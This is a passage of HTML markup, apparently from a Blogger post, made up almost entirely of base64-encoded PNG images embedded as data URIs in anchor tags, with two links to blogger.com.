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" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="data:image/png;base64,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" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVgAAAE2CAIAAACr8B09AAAY7UlEQVR4nO2dfWwc5Z3H/Xdf/mlVqKpWAp3USlVPJ0Wi11sF1PaAlKaJrvSA6hJeWnrbtOWgoneFUOWgORRKopJVhRJIL+iOa2MuCqRuzGJMiJ2QEEgwV1ITQzaO81rsrENie/2yu9793R+7nnnmmWd2d9Y7uzPO5yNLjJ95ZvaZYeY7zzPr55M2AYDLnrZWNwAAWg9BAAB+giB7YefkB09kzv56/OTjYyd+NTb4+MXUug/f/4/RgUfOv7sm/f6GzPm9wTUUAIKj9iAoTn7w6/xURyE/kjn/9IWhx473rc5N7i7k9pV+spnk8LuPBdhSAAgMHz2CyQ9+nZ/uzE93isyKzJ48/KN3X3946sMXZrM9+elXcpmXzvbdH1xDASA46gmC/HSniAy+8YN3eh88d+SXucxL2fGO6Ys7Tr/108DaCQAB4icI/qIGweyx/Xf+ac+/nvm/NdMXd0yO/n5i5JlTh+719+GpRCyWSFUuAYgofi/mll78PoJg4tz6UgpkJ/9QLGQGev/p7d33nnrr5xMjz4yf23zpdGLozZ/4+3CCACJHKhFrKzN3qSbj5YJ40lkxlkgZ1tp7cFzr5fo1718kGbd2YNjKu8Gmyj6CYPzMr0opMD22fTY33P/qrX0vrzr55k8vnU58eOLx0WNrT791X3pwW+07JAggeiTjc7djMt4WS6RSidjcDVoqsCvGEilJxstr5+opl7ipvmv/7j3MLav3sWsr7wabK/sIgksnHy2lQGb0f6bGXj/SffPh5PdOvP6j0WNrzw88NPznn/3lT/9y/MA/a1sZ0kcpKpe5S8y7iCelfCYTzpD0CFmA4Cjd0tZ9KiLuZaXEfuIrN4J9uarbeuxfe0yan5oVnqXeD95UwkcQfHjil6UUuPTBb0dP/eZPLy1/848rju+7uxQBZ/vio6Ojqdfu9ty+fETJuNXFKTfDXaJt5kzEVCLW5sxgRyhrZxMgGOyrV+2gK0/78tXujgmrq+/oD5hzwLwH/dNcW1VosKnEVxCMptZYKTCcevztzm++sfMfj/WsPNsXP3PorlMHV4yOjh7b933Dx6tPe7U1pWV3ibJRLB53rG2LJw31S2eWCICmodz/6hWuPKHiSTEGwVyR+kBz54C1f19B4BoXVFrlKPERBCPvrbZS4Gz/I2/